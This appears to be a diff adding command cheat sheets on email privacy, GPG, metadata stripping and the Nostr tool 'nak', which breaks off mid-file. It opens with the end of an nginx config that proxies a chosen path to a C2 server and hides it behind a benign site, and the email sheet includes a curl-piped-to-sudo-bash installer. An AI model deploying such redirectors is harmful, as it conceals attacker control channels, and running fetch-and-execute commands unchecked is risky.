+    listen 443 ssl;
+    server_name legit-domain.com;
+
+    ssl_certificate /path/to/cert.crt;
+    ssl_certificate_key /path/to/private.key;
+
+    location /valid-uri-path/ {
+        proxy_pass https://actual-c2-server.com;
+    }
+
+    location / {
+        proxy_pass https://benign-site.com;
+    }
+}

email-privacy.cheat

@@ -0,0 +1,523 @@
+% email, privacy, protonmail, tutanota, pgp, encryption
+
+# ============================================================================
+# EMAIL PRIVACY OVERVIEW
+# ============================================================================
+
+# Email privacy challenges
+# - Metadata always visible (sender, recipient, timestamp, IP)
+# - Content readable by email provider (unless E2EE)
+# - Subject lines never encrypted
+# - Forwarding/CC/BCC creates multiple copies
+# - Email headers reveal technical information
+
+# Privacy hierarchy (best to worst)
+# 1. Self-hosted encrypted email (high effort)
+# 2. ProtonMail / Tutanota (E2EE, Switzerland/Germany)
+# 3. Mailfence (Belgian, PGP support)
+# 4. FastMail (Australian, privacy-focused but not E2EE)
+# 5. Gmail / Outlook (convenient, zero privacy)
+
+# ============================================================================
+# PROTONMAIL (END-TO-END ENCRYPTED EMAIL)
+# ============================================================================
+
+# ProtonMail features
+# - Zero-access encryption (provider can't read emails)
+# - Swiss jurisdiction (strong privacy laws)
+# - Open source clients
+# - Tor onion service available
+# - No logging of IP addresses (with some caveats)
+
+# Sign up for ProtonMail
+# https://proton.me/mail
+
+# Free tier limits
+# - 500 MB storage
+# - 150 messages per day
+# - 1 email address
+# - Limited support
+
+# Paid tier benefits
+# - More storage (15 GB - 500 GB)
+# - Custom domains
+# - Multiple addresses
+# - ProtonVPN included (Plus and higher)
+
+# ProtonMail encryption
+# ProtonMail ↔ ProtonMail: Automatic E2EE
+# ProtonMail ↔ Other: Optional password-protected encryption
+
+# Send encrypted email to non-ProtonMail user
+# Compose → Lock icon → Set password → Share password separately
+
+# ProtonMail Bridge (desktop email client)
+# Allows using ProtonMail with Thunderbird, Apple Mail, Outlook
+# https://proton.me/mail/bridge
+
+# Install ProtonMail Bridge (Linux)
+wget https://proton.me/download/bridge/protonmail-bridge_amd64.deb
+sudo dpkg -i protonmail-bridge_amd64.deb
+
+# Configure Thunderbird with Bridge
+# Bridge → Add account → Copy IMAP/SMTP settings → Add to Thunderbird
+
+# ============================================================================
+# TUTANOTA (GERMAN E2EE EMAIL)
+# ============================================================================
+
+# Tutanota features
+# - End-to-end encryption (email + subject line + contacts)
+# - German jurisdiction (GDPR compliance)
+# - Open source
+# - No third-party trackers
+# - Encrypted calendar included
+
+# Sign up for Tutanota
+# https://tutanota.com/
+
+# Free tier
+# - 1 GB storage
+# - 1 email address
+# - 48-hour support response
+
+# Paid tier benefits
+# - More storage (20 GB - 1 TB)
+# - Custom domains
+# - Aliases (up to 100)
+# - Faster support
+
+# Tutanota encryption
+# Tutanota ↔ Tutanota: Automatic E2EE (subject included)
+# Tutanota ↔ Other: Optional password-protected E2EE
+
+# Tutanota desktop app
+# Download: https://tutanota.com/download/
+
+# ============================================================================
+# EMAIL ALIASING (HIDE REAL ADDRESS)
+# ============================================================================
+
+# Email alias services
+# Protect primary email, prevent tracking, reduce spam
+
+# SimpleLogin (recommended)
+# https://simplelogin.io/
+# - Unlimited aliases (Premium)
+# - Reply from alias
+# - PGP support
+# - Open source
+
+# Sign up for SimpleLogin
+# https://simplelogin.io/
+
+# Create alias
+# Dashboard → New alias → Enter name → Create
+
+# AnonAddy (alternative)
+# https://anonaddy.com/
+# - Similar to SimpleLogin
+# - Self-hostable
+
+# Firefox Relay (Mozilla)
+# https://relay.firefox.com/
+# - Free tier: 5 aliases
+# - Premium: Unlimited aliases
+
+# Apple Hide My Email (iOS/macOS)
+# Settings → iCloud → Hide My Email
+# Generates random addresses that forward to real email
+
+# DuckDuckGo Email Protection
+# https://duckduckgo.com/email/
+# - Free
+# - Removes trackers from emails
+
+# ============================================================================
+# PGP/GPG EMAIL ENCRYPTION
+# ============================================================================
+
+# PGP/GPG for any email provider
+# See gpg.cheat for full key management guide
+
+# Generate PGP key
+gpg --full-generate-key
+
+# Export public key (share with contacts)
+gpg --armor --export <your_email> > publickey.asc
+$ your_email: echo "you@example.com"
+
+# Import contact's public key
+gpg --import <contact_publickey.asc>
+$ contact_publickey.asc: echo "friend_key.asc"
+
+# Encrypt email message
+echo "Secret message" | gpg --encrypt --armor --recipient <contact_email> > encrypted.asc
+$ contact_email: echo "friend@example.com"
+
+# Decrypt received email
+gpg --decrypt encrypted_email.asc
+
+# ============================================================================
+# THUNDERBIRD WITH PGP (ENIGMAIL/OPENPGP)
+# ============================================================================
+
+# Install Thunderbird
+sudo apt install thunderbird
+
+# Built-in OpenPGP support (Thunderbird 78+)
+# No Enigmail extension needed
+
+# Generate key in Thunderbird
+# Account Settings → End-To-End Encryption → Add Key
+# Generate new key
+
+# Import existing PGP key
+# Account Settings → End-To-End Encryption → Add Key
+# Import key from file
+
+# Send encrypted email
+# Compose → Options → Encrypt message
+# Select recipient's public key
+
+# Sign email
+# Compose → Options → Digitally sign message
+
+# ============================================================================
+# MAILFENCE (PGP-COMPATIBLE SECURE EMAIL)
+# ============================================================================
+
+# Mailfence features
+# - Belgian jurisdiction (privacy-friendly)
+# - Built-in PGP support
+# - Digital signatures
+# - No ads
+# - 2FA support
+
+# Sign up for Mailfence
+# https://mailfence.com/
+
+# Mailfence pricing
+# Free: 500 MB storage
+# Entry ($2.50/mo): 5 GB storage, custom domain
+# Pro ($7.50/mo): 20 GB, advanced features
+
+# Import PGP key to Mailfence
+# Settings → Security → Encryption → Import key
+
+# Send encrypted email
+# Compose → Encrypt (lock icon) → Send
+
+# ============================================================================
+# TEMPORARY/DISPOSABLE EMAIL
+# ============================================================================
+
+# Use for signups, one-time registrations
+
+# 10 Minute Mail
+# https://10minutemail.com/
+# Temporary email (10 minutes, extendable)
+
+# Guerrilla Mail
+# https://www.guerrillamail.com/
+# Disposable email, can send/receive
+
+# Temp Mail
+# https://temp-mail.org/
+# Random temporary address
+
+# Burner Mail
+# https://burnermail.io/
+# Create disposable forwarding addresses
+
+# ============================================================================
+# EMAIL HEADER ANALYSIS (PRIVACY LEAKS)
+# ============================================================================
+
+# Email headers reveal
+# - Originating IP address
+# - Email client software
+# - Mail server path
+# - Timestamps
+
+# View email headers (Thunderbird)
+# Open email → More → View Source
+
+# View email headers (Gmail web)
+# Open email → Three dots → Show original
+
+# Common header fields
+# From: Sender address
+# To: Recipient address
+# Subject: Email subject (never encrypted)
+# Date: Timestamp
+# Received: Mail server path (contains IP addresses)
+# X-Originating-IP: Sender's IP address
+
+# Analyze headers for privacy leaks
+# Look for: Real IP, location data, identifying info
+
+# Strip revealing headers (when forwarding)
+# Use email provider's privacy features
+# Or: Copy content to new email (don't forward)
+
+# ============================================================================
+# EMAIL TRACKER BLOCKING
+# ============================================================================
+
+# Email tracking pixels
+# Invisible 1x1 pixel images embedded in emails
+# Reports when email opened, device type, location
+
+# Blocking trackers (Thunderbird)
+# Preferences → Privacy → Mail Content → Block remote content
+
+# DuckDuckGo Email Protection
+# Automatically removes trackers from emails
+# https://duckduckgo.com/email/
+
+# Hey.com (tracker blocking built-in)
+# https://www.hey.com/
+# $99/year, strong privacy features
+
+# ============================================================================
+# EMAIL PROVIDER COMPARISON
+# ============================================================================
+
+# ProtonMail
+# Pros: E2EE, Swiss privacy, Tor support, open source
+# Cons: Web only (unless Bridge), Bridge requires paid account
+# Cost: Free tier available, paid from $4/mo
+
+# Tutanota
+# Pros: E2EE (including subject), German privacy, open source
+# Cons: Less integration with other apps, custom protocol
+# Cost: Free tier available, paid from €1/mo
+
+# Mailfence
+# Pros: Standard protocols (IMAP/SMTP), PGP support, Belgian privacy
+# Cons: Not zero-knowledge (provider can access if compelled)
+# Cost: Free tier available, paid from $2.50/mo
+
+# Posteo
+# Pros: Anonymous signup (no personal info required), green energy, ethical
+# Cons: No free tier, basic features
+# Cost: €1/mo
+
+# StartMail
+# Pros: Privacy focus, PGP support, disposable aliases
+# Cons: Netherlands jurisdiction
+# Cost: $59.95/year
+
+# ============================================================================
+# SELF-HOSTED EMAIL (MAXIMUM CONTROL)
+# ============================================================================
+
+# Self-hosted email advantages
+# - Complete control over data
+# - No third-party access
+# - Custom configuration
+
+# Self-hosted email disadvantages
+# - Complex setup and maintenance
+# - Spam filtering challenges
+# - Deliverability issues (blacklists)
+# - Server costs
+
+# Mail-in-a-Box (easy self-hosted email)
+# https://mailinabox.email/
+# One-command installation
+# Ubuntu 22.04 required
+
+# Install Mail-in-a-Box
+curl -s https://mailinabox.email/setup.sh | sudo bash
+
+# Mailcow (Docker-based email server)
+# https://mailcow.email/
+# Modern web UI, comprehensive features
+
+# ============================================================================
+# EMAIL OPSEC BEST PRACTICES
+# ============================================================================
+
+# Separate email accounts by identity
+# Personal: Real name email
+# Work: Work email
+# Anonymous: ProtonMail / Tutanota
+# Signups: Disposable / alias
+
+# Never link identities
+# Don't use personal email for anonymous activities
+# Don't reference other accounts in emails
+
+# Subject line privacy
+# Never put sensitive info in subject
+# Subject always visible (even with PGP)
+# Tutanota encrypts subjects (ProtonMail doesn't)
+
+# Avoid email for highly sensitive communication
+# Use Signal, Element, or other E2EE messengers
+# Email has inherent metadata leakage
+
+# Use aliases for online accounts
+# SimpleLogin, AnonAddy for account signups
+# Prevents tracking across services
+
+# ============================================================================
+# METADATA MINIMIZATION
+# ============================================================================
+
+# Email metadata always visible to provider
+# - Sender, recipient, timestamp
+# - IP addresses (in headers)
+# - Email size
+
+# Reduce metadata leakage
+# Use Tor when accessing webmail (hides IP)
+# Use VPN (hides IP from email provider)
+# Use ProtonMail / Tutanota (minimal logging)
+
+# Tor with ProtonMail
+# ProtonMail onion service: https://protonmailrmez3lotccipshtkleegetolb73fuirgj7r4o4vfu7ozyd.onion/
+
+# Tor with Tutanota
+# Use Tor Browser to access: https://tutanota.com/
+
+# ============================================================================
+# PROTONMAIL ADVANCED FEATURES
+# ============================================================================
+
+# Custom domain (paid plans)
+# Settings → Domains → Add domain
+# Configure DNS records (MX, SPF, DKIM)
+
+# ProtonMail import/export
+# Settings → Import-Export → Import emails
+# Supports: Gmail, Outlook, Yahoo
+
+# ProtonMail filters (paid plans)
+# Settings → Filters → Add filter
+# Auto-organize incoming mail
+
+# ProtonMail encrypted contacts
+# Contacts stored with zero-access encryption
+# Can't be read by ProtonMail
+
+# ProtonMail VPN integration
+# ProtonVPN included with Plus and higher plans
+# Unified account management
+
+# ============================================================================
+# TUTANOTA ADVANCED FEATURES
+# ============================================================================
+
+# Encrypted calendar
+# Calendar tab → Create event
+# E2EE, syncs across devices
+
+# Secure password reset
+# Can disable password reset (maximum security)
+# Settings → Security → Disable password reset
+# WARNING: If you forget password, account is unrecoverable
+
+# Tutanota for business
+# Custom domain, team management
+# Admin console for organization
+
+# Tutanota whitelist mode
+# Settings → Security → Whitelist
+# Only receive emails from approved senders
+
+# ============================================================================
+# SECURING EMAIL ON MOBILE
+# ============================================================================
+
+# ProtonMail app (iOS/Android)
+# Download: App Store / Play Store / F-Droid
+# F-Droid (open source): https://f-droid.org/
+
+# Tutanota app (iOS/Android)
+# Download: App Store / Play Store / F-Droid
+
+# K-9 Mail (Android, open source)
+# Supports PGP via OpenKeychain
+# https://k9mail.app/
+
+# Install K-9 Mail + OpenKeychain
+# F-Droid → K-9 Mail, OpenKeychain
+# Import PGP key to OpenKeychain
+# Configure K-9 to use OpenKeychain
+
+# FairEmail (Android, privacy-focused)
+# https://email.faircode.eu/
+# Tracker blocking, encryption support
+
+# ============================================================================
+# EMAIL MIGRATION
+# ============================================================================
+
+# Migrating to secure email
+
+# Step 1: Set up new secure email
+# ProtonMail, Tutanota, or Mailfence
+
+# Step 2: Import old emails (optional)
+# ProtonMail Bridge → Import via IMAP
+# Or: Manually forward important emails
+
+# Step 3: Update accounts gradually
+# Start with new signups
+# Update critical services (banking, social media)
+# Notify contacts
+
+# Step 4: Set up forwarding (temporary)
+# Old email → New email
+# Gradually phase out old address
+
+# Step 5: Close old account
+# After 6-12 months of forwarding
+# Delete or abandon old account
+
+# ============================================================================
+# EMAIL PRIVACY CHECKLIST
+# ============================================================================
+
+# Setup
+# [ ] Choose privacy-focused provider (ProtonMail / Tutanota)
+# [ ] Enable 2FA on email account
+# [ ] Set up email aliases (SimpleLogin / AnonAddy)
+# [ ] Import PGP keys (if using)
+# [ ] Configure email client securely
+
+# Daily use
+# [ ] Use aliases for new signups
+# [ ] Don't put sensitive info in subject lines
+# [ ] Verify recipient before sending sensitive info
+# [ ] Use disappearing messages for sensitive topics (Signal instead)
+
+# Maintenance
+# [ ] Review connected services quarterly
+# [ ] Delete old unnecessary emails
+# [ ] Update PGP keys before expiration
+# [ ] Check for data breaches (haveibeenpwned.com)
+
+# ============================================================================
+# RESOURCES
+# ============================================================================
+
+# Privacy email guides
+# EFF Email Self-Defense: https://emailselfdefense.fsf.org/
+# Privacy Guides Email: https://www.privacyguides.org/email/
+
+# Email security testing
+# Email Privacy Tester: https://www.emailprivacytester.com/
+
+# PGP key servers
+# keys.openpgp.org
+# keyserver.ubuntu.com
+
+# Communities
+# r/ProtonMail (Reddit)
+# r/tutanota (Reddit)
+# r/privacy (Reddit)
+

gpg.cheat

@@ -0,0 +1,339 @@
+% gpg, pgp, encryption, signing, gnupg
+
+# ============================================================================
+# KEY GENERATION & MANAGEMENT
+# ============================================================================
+
+# Generate new GPG key pair
+gpg --full-generate-key
+
+# Generate key with specific algorithm (RSA 4096)
+gpg --full-generate-key --rsa --rsa-key-size 4096
+
+# Quick generate key (defaults)
+gpg --quick-generate-key <email>
+$ email: echo "user@example.com"
+
+# List public keys
+gpg --list-keys
+
+# List secret/private keys
+gpg --list-secret-keys
+
+# List keys with fingerprints
+gpg --fingerprint
+
+# Export public key (ASCII armored)
+gpg --armor --export <key_id> > public_key.asc
+$ key_id: echo -e "user@example.com\nABCD1234"
+
+# Export public key (binary)
+gpg --export <key_id> > public_key.gpg
+$ key_id: echo "user@example.com"
+
+# Export private key (KEEP SECURE!)
+gpg --armor --export-secret-keys <key_id> > private_key.asc
+$ key_id: echo "user@example.com"
+
+# Import public key
+gpg --import <public_key_file>
+$ public_key_file: echo -e "public_key.asc\nfriend_key.gpg"
+
+# Import private key
+gpg --import <private_key_file>
+$ private_key_file: echo "private_key.asc"
+
+# Delete public key
+gpg --delete-key <key_id>
+$ key_id: echo "user@example.com"
+
+# Delete private key (caution!)
+gpg --delete-secret-key <key_id>
+$ key_id: echo "user@example.com"
+
+# Edit key (change expiration, add subkey, etc.)
+gpg --edit-key <key_id>
+$ key_id: echo "user@example.com"
+
+# ============================================================================
+# FILE ENCRYPTION & DECRYPTION
+# ============================================================================
+
+# Encrypt file for recipient
+gpg --encrypt --recipient <recipient_email> <file>
+$ recipient_email: echo "friend@example.com"
+$ file: echo -e "secret.txt\ndocument.pdf"
+
+# Encrypt file (ASCII armored output)
+gpg --armor --encrypt --recipient <recipient_email> <file>
+$ recipient_email: echo "friend@example.com"
+$ file: echo "message.txt"
+
+# Encrypt for multiple recipients
+gpg --encrypt -r <recipient1> -r <recipient2> <file>
+$ recipient1: echo "alice@example.com"
+$ recipient2: echo "bob@example.com"
+$ file: echo "shared_secret.txt"
+
+# Symmetric encryption (password-based, no key required)
+gpg --symmetric <file>
+$ file: echo "document.txt"
+
+# Decrypt file
+gpg --decrypt <encrypted_file> > <output_file>
+$ encrypted_file: echo -e "secret.txt.gpg\nmessage.asc"
+$ output_file: echo "decrypted.txt"
+
+# Decrypt to stdout
+gpg --decrypt <encrypted_file>
+$ encrypted_file: echo "secret.txt.gpg"
+
+# Encrypt and sign file
+gpg --encrypt --sign --recipient <recipient> <file>
+$ recipient: echo "friend@example.com"
+$ file: echo "important.pdf"
+
+# ============================================================================
+# SIGNING & VERIFICATION
+# ============================================================================
+
+# Sign file (detached signature)
+gpg --detach-sign <file>
+$ file: echo "document.pdf"
+
+# Sign file (ASCII armored signature)
+gpg --armor --detach-sign <file>
+$ file: echo "software.tar.gz"
+
+# Sign file (cleartext signature - for text files)
+gpg --clearsign <file>
+$ file: echo "message.txt"
+
+# Verify detached signature
+gpg --verify <signature_file> <original_file>
+$ signature_file: echo -e "document.pdf.sig\nsoftware.tar.gz.asc"
+$ original_file: echo -e "document.pdf\nsoftware.tar.gz"
+
+# Verify clearsigned file
+gpg --verify <signed_file>
+$ signed_file: echo "message.txt.asc"
+
+# Sign and encrypt in one step
+gpg --sign --encrypt --recipient <recipient> <file>
+$ recipient: echo "friend@example.com"
+$ file: echo "confidential.txt"
+
+# ============================================================================
+# KEY TRUST & WEB OF TRUST
+# ============================================================================
+
+# Sign someone's public key (vouch for identity)
+gpg --sign-key <key_id>
+$ key_id: echo "friend@example.com"
+
+# Set trust level for key
+gpg --edit-key <key_id>
+# Then: trust → select level (1-5) → quit
+$ key_id: echo "friend@example.com"
+
+# Trust levels:
+# 1 = Don't know / Won't say
+# 2 = Don't trust
+# 3 = Marginal trust
+# 4 = Full trust
+# 5 = Ultimate trust (your own keys)
+
+# List key signatures
+gpg --list-sigs <key_id>
+$ key_id: echo "user@example.com"
+
+# Check key fingerprint (verify identity)
+gpg --fingerprint <key_id>
+$ key_id: echo "friend@example.com"
+
+# ============================================================================
+# KEYSERVER OPERATIONS
+# ============================================================================
+
+# Upload public key to keyserver
+gpg --keyserver <keyserver_url> --send-keys <key_id>
+$ keyserver_url: echo -e "hkps://keys.openpgp.org\nhkps://keyserver.ubuntu.com"
+$ key_id: echo "ABCD1234"
+
+# Search for key on keyserver
+gpg --keyserver <keyserver_url> --search-keys <email>
+$ keyserver_url: echo "hkps://keys.openpgp.org"
+$ email: echo "friend@example.com"
+
+# Receive key from keyserver
+gpg --keyserver <keyserver_url> --recv-keys <key_id>
+$ keyserver_url: echo "hkps://keys.openpgp.org"
+$ key_id: echo "ABCD1234EF567890"
+
+# Refresh keys from keyserver (check for updates/revocations)
+gpg --refresh-keys
+
+# Popular keyservers:
+# hkps://keys.openpgp.org
+# hkps://keyserver.ubuntu.com
+# hkps://keys.mailvelope.com
+
+# ============================================================================
+# REVOCATION & KEY EXPIRATION
+# ============================================================================
+
+# Generate revocation certificate (do this IMMEDIATELY after key creation!)
+gpg --output revoke_cert.asc --gen-revoke <key_id>
+$ key_id: echo "user@example.com"
+
+# Import revocation certificate (revoke compromised key)
+gpg --import revoke_cert.asc
+
+# Upload revoked key to keyserver
+gpg --keyserver hkps://keys.openpgp.org --send-keys <key_id>
+$ key_id: echo "ABCD1234"
+
+# Change key expiration date
+gpg --edit-key <key_id>
+# Then: expire → select new expiration → save
+$ key_id: echo "user@example.com"
+
+# ============================================================================
+# GPG AGENT & CACHING
+# ============================================================================
+
+# Start GPG agent
+gpg-agent --daemon
+
+# Kill GPG agent
+gpgconf --kill gpg-agent
+
+# Reload GPG agent config
+gpgconf --reload gpg-agent
+
+# Set passphrase cache timeout (in ~/.gnupg/gpg-agent.conf)
+# default-cache-ttl 600
+# max-cache-ttl 7200
+
+# Disable passphrase caching
+# default-cache-ttl 0
+# max-cache-ttl 1
+
+# Clear cached passphrases
+gpgconf --reload gpg-agent
+
+# ============================================================================
+# EMAIL ENCRYPTION
+# ============================================================================
+
+# Encrypt email message
+gpg --armor --encrypt --sign --recipient <recipient> message.txt
+
+# Decrypt received email
+gpg --decrypt encrypted_email.asc
+
+# Thunderbird + Enigmail
+# Install Enigmail extension → Import key → Enable encryption
+
+# Protonmail (built-in PGP)
+# Settings → Keys → Import/export GPG keys
+
+# Mutt email client with GPG
+# Add to ~/.muttrc:
+# set pgp_use_gpg_agent = yes
+# set pgp_sign_as = YOUR_KEY_ID
+
+# ============================================================================
+# ADVANCED OPTIONS
+# ============================================================================
+
+# Specify output file
+gpg --output <output_file> --encrypt <input_file>
+$ output_file: echo "secret.gpg"
+$ input_file: echo "document.txt"
+
+# Encrypt with compression
+gpg --compress-algo <algorithm> --encrypt <file>
+$ algorithm: echo -e "zip\nzlib\nbzip2"
+$ file: echo "large_file.tar"
+
+# Use specific cipher algorithm
+gpg --cipher-algo <algorithm> --encrypt <file>
+$ algorithm: echo -e "AES256\nAES192\nAES128"
+$ file: echo "secret.txt"
+
+# Batch mode (no prompts, for scripts)
+gpg --batch --yes --encrypt --recipient <recipient> <file>
+$ recipient: echo "friend@example.com"
+$ file: echo "automated.txt"
+
+# Verbose output (debugging)
+gpg --verbose --encrypt <file>
+$ file: echo "test.txt"
+
+# ============================================================================
+# BEST PRACTICES & OPSEC
+# ============================================================================
+
+# Always generate revocation certificate after key creation
+# Store revocation cert in secure location (offline backup)
+
+# Use strong passphrase (20+ characters, random)
+# Consider using diceware passphrase
+
+# Set key expiration (1-2 years recommended)
+# Renew before expiration, don't let it lapse
+
+# Use subkeys for daily operations
+# Keep master key offline
+
+# Backup private keys securely
+# Use encrypted USB drive or paper backup
+
+# Verify fingerprints in person when possible
+# Don't trust keys from keyservers alone
+
+# Regularly refresh keys from keyservers
+# Check for revocations
+
+# Use ASCII armor for email/text transmission
+# Use binary for file storage (smaller)
+
+# Don't encrypt to untrusted keys
+# Verify recipient identity first
+
+# ============================================================================
+# CONFIGURATION FILES
+# ============================================================================
+
+# GPG config: ~/.gnupg/gpg.conf
+# Example settings:
+# default-key YOUR_KEY_ID
+# keyserver hkps://keys.openpgp.org
+# use-agent
+# armor
+
+# GPG agent config: ~/.gnupg/gpg-agent.conf
+# default-cache-ttl 600
+# max-cache-ttl 7200
+# pinentry-program /usr/bin/pinentry-gtk-2
+
+# ============================================================================
+# TROUBLESHOOTING
+# ============================================================================
+
+# Fix "No public key" error
+# Import missing key from keyserver
+
+# Fix "Unusable public key" error
+# Trust the key: gpg --edit-key <key_id> → trust
+
+# Reset GPG permissions
+chmod 700 ~/.gnupg
+chmod 600 ~/.gnupg/*
+
+# Rebuild GPG trust database
+gpg --check-trustdb
+
+# Check GPG version
+gpg --version

metadata-removal.cheat

@@ -0,0 +1,308 @@
+% metadata, exif, sanitization, privacy
+
+# ============================================================================
+# EXIFTOOL - Universal Metadata Tool
+# ============================================================================
+
+# Install exiftool
+sudo apt install libimage-exiftool-perl
+
+# View all metadata
+exiftool <file>
+$ file: echo -e "photo.jpg\ndocument.pdf\nvideo.mp4"
+
+# View specific metadata tags
+exiftool -GPS* <image_file>
+$ image_file: echo "photo.jpg"
+
+# Remove ALL metadata
+exiftool -all= <file>
+$ file: echo -e "photo.jpg\ndocument.pdf"
+
+# Remove metadata and keep original
+exiftool -all= -o <output_file> <input_file>
+$ output_file: echo "cleaned.jpg"
+$ input_file: echo "original.jpg"
+
+# Remove metadata from all files in directory
+exiftool -all= *.jpg
+
+# Remove GPS data only
+exiftool -gps:all= <image>
+$ image: echo "photo_with_location.jpg"
+
+# Remove specific tags
+exiftool -Author= -Creator= <file>
+$ file: echo "document.pdf"
+
+# Batch remove metadata (preserve originals)
+exiftool -all= -r <directory>
+$ directory: echo -e "~/Pictures\n~/Documents"
+
+# Remove metadata WITHOUT creating backup files
+exiftool -all= -overwrite_original <file>
+$ file: echo "photo.jpg"
+
+# ============================================================================
+# MAT2 - Metadata Anonymisation Toolkit
+# ============================================================================
+
+# Install mat2
+sudo apt install mat2
+
+# Check if file contains metadata
+mat2 --check <file>
+$ file: echo -e "document.pdf\nphoto.jpg\naudio.mp3"
+
+# Remove metadata
+mat2 <file>
+$ file: echo -e "document.pdf\nimage.png"
+
+# Clean file with lightweight mode (faster, less thorough)
+mat2 --lightweight <file>
+$ file: echo "large_image.jpg"
+
+# Clean and specify output location
+mat2 --output-directory <output_dir> <file>
+$ output_dir: echo "/tmp/cleaned"
+$ file: echo "document.pdf"
+
+# List supported file types
+mat2 --list
+
+# ============================================================================
+# PDF SANITIZATION
+# ============================================================================
+
+# Remove PDF metadata with exiftool
+exiftool -all:all= document.pdf
+
+# Clean PDF with mat2
+mat2 document.pdf
+
+# PDF metadata removal with pdftk
+pdftk input.pdf output output.pdf compress
+
+# Remove PDF metadata with qpdf
+qpdf --linearize --object-streams=generate input.pdf output.pdf
+
+# Print PDF and scan (nuclear option - removes ALL metadata/tracking)
+# lp input.pdf
+# (Scan printed pages back to PDF)
+
+# ============================================================================
+# IMAGE METADATA REMOVAL
+# ============================================================================
+
+# Remove EXIF from JPG (exiftool)
+exiftool -all= -overwrite_original photo.jpg
+
+# Remove EXIF with jhead
+jhead -purejpg <image>
+$ image: echo "photo.jpg"
+
+# Remove EXIF with ImageMagick (also recompresses)
+convert <input> -strip <output>
+$ input: echo "original.jpg"
+$ output: echo "cleaned.jpg"
+
+# Remove EXIF from PNG
+exiftool -all= image.png
+
+# Batch clean all images
+exiftool -all= -overwrite_original -r ~/Pictures/
+
+# ============================================================================
+# AUDIO/VIDEO METADATA
+# ============================================================================
+
+# Remove metadata from MP3
+eyeD3 --remove-all <audio_file>
+$ audio_file: echo "song.mp3"
+
+# Remove metadata from video (ffmpeg)
+ffmpeg -i input.mp4 -map_metadata -1 -c:v copy -c:a copy output.mp4
+
+# Strip metadata from all videos in folder
+for file in *.mp4; do ffmpeg -i "$file" -map_metadata -1 -c copy "cleaned_$file"; done
+
+# ============================================================================
+# OFFICE DOCUMENTS
+# ============================================================================
+
+# Remove Word/Excel/PowerPoint metadata (LibreOffice)
+# File → Properties → Reset Properties → Clear All
+
+# CLI: Convert to PDF (removes some metadata)
+libreoffice --headless --convert-to pdf document.docx
+
+# Remove metadata from Office docs with exiftool
+exiftool -all= document.docx
+
+# ============================================================================
+# DOCUMENT SANITIZATION WORKFLOW
+# ============================================================================
+
+# Complete document sanitization:
+# 1. Remove metadata
+exiftool -all= -overwrite_original document.pdf
+
+# 2. Convert to different format and back (removes hidden data)
+pdftk document.pdf output temp.pdf compress
+qpdf --object-streams=generate temp.pdf sanitized.pdf
+
+# 3. Verify metadata removed
+exiftool sanitized.pdf
+
+# ============================================================================
+# CHECKING FOR HIDDEN DATA
+# ============================================================================
+
+# Check for hidden text/layers in PDF
+pdfinfo <pdf_file>
+$ pdf_file: echo "document.pdf"
+
+# Extract all text from PDF (find hidden content)
+pdftotext <pdf_file> -
+$ pdf_file: echo "document.pdf"
+
+# Check PDF structure
+pdftk <pdf_file> dump_data
+$ pdf_file: echo "document.pdf"
+
+# Analyze document for hidden data
+binwalk <file>
+$ file: echo "suspicious_document.pdf"
+
+# ============================================================================
+# COMMON METADATA FIELDS TO REMOVE
+# ============================================================================
+
+# Images:
+# - GPS coordinates (location)
+# - Camera make/model
+# - Date/time taken
+# - Software used
+# - Author/Creator
+
+# PDFs:
+# - Author, Creator, Producer
+# - Creation/Modification dates
+# - Software version
+# - Comments/annotations
+# - Hidden text/layers
+
+# Office Docs:
+# - Author, Company
+# - Edit history
+# - Comments/tracked changes
+# - Template information
+# - Filesystem paths
+
+# Audio/Video:
+# - Artist, Album, Genre
+# - Creation date
+# - GPS coordinates (videos)
+# - Camera/recording device info
+
+# ============================================================================
+# SAFE SHARING WORKFLOW
+# ============================================================================
+
+# Before sharing any file:
+# 1. Check metadata
+exiftool file.jpg
+
+# 2. Remove metadata
+mat2 file.jpg
+
+# 3. Verify removal
+exiftool file.cleaned.jpg
+
+# 4. (Optional) Convert format
+convert file.cleaned.jpg -quality 95 file_final.jpg
+
+# 5. Final check
+exiftool file_final.jpg
+
+# ============================================================================
+# GUI TOOLS
+# ============================================================================
+
+# GIMP (image editor)
+# File → Export → Uncheck "Save EXIF data"
+
+# Metadata Cleaner (GUI for mat2)
+# Install: flatpak install flathub fr.romainvigier.MetadataCleaner
+
+# ExifCleaner (cross-platform GUI)
+# https://exifcleaner.com
+
+# ============================================================================
+# BEST PRACTICES
+# ============================================================================
+
+# Always check files before sharing
+# Use mat2 or exiftool as default
+
+# For sensitive documents: Convert to image, then back to PDF
+# (Removes all hidden data/metadata)
+
+# Screenshots are safer than photos
+# (No GPS, camera info)
+
+# Use disposable/anonymous accounts for sharing
+# Even without metadata, file itself may be traceable
+
+# Consider: Print → Scan → OCR for max sanitization
+# Nuclear option, but removes ALL tracking
+
+# Test your workflow
+# Remove metadata, check with exiftool, verify
+
+# ============================================================================
+# BATCH PROCESSING SCRIPTS
+# ============================================================================
+
+# Clean all images recursively
+find ~/Pictures -type f \( -name "*.jpg" -o -name "*.png" \) -exec exiftool -all= -overwrite_original {} \;
+
+# Clean all PDFs in directory
+for pdf in *.pdf; do mat2 "$pdf"; done
+
+# Clean and organize
+#!/bin/bash
+for file in *; do
+    exiftool -all= -overwrite_original "$file"
+    mv "$file" "cleaned_$file"
+done
+
+# ============================================================================
+# VERIFICATION
+# ============================================================================
+
+# Verify no GPS data
+exiftool -GPS* photo.jpg | grep -i gps
+
+# Verify no author info
+exiftool -Author -Creator document.pdf
+
+# Check file size (cleaned should be smaller)
+ls -lh original.jpg cleaned.jpg
+
+# ============================================================================
+# TROUBLESHOOTING
+# ============================================================================
+
+# exiftool not removing metadata
+# Try: exiftool -all:all= (removes more)
+
+# mat2 "Unsupported file format"
+# Check: mat2 --list for supported types
+
+# PDF still has metadata after cleaning
+# Try converting: pdftk → qpdf → exiftool chain
+
+# File corrupted after cleaning
+# Always test on copy first
+# Some formats don't support metadata removal

nak.cheat

@@ -0,0 +1,36 @@
+% nostr, nak, cryptography, decentralized
+
+# nak — fiatjaf's "Nostr army knife". For network commands, relay URLs go at the END.
+# req filters: -k kind | -a author(hex) | -i id | -l limit | -t name=value tag | -s search
+
+# Decode npub/note/nevent/nprofile to hex (pure local, no network)
+nak decode <npub_or_note>
+
+# Encode a hex pubkey to npub (local, no network)
+nak encode npub <hex_pubkey>
+
+# Read: last N text notes (kind 1) by an author from a relay
+nak req -k 1 -a <hex_pubkey> -l <limit> <relay_url>
+
+# Read: a single event by its id
+nak req -i <event_id> <relay_url>
+
+# Read: filter notes by hashtag tag (t=value)
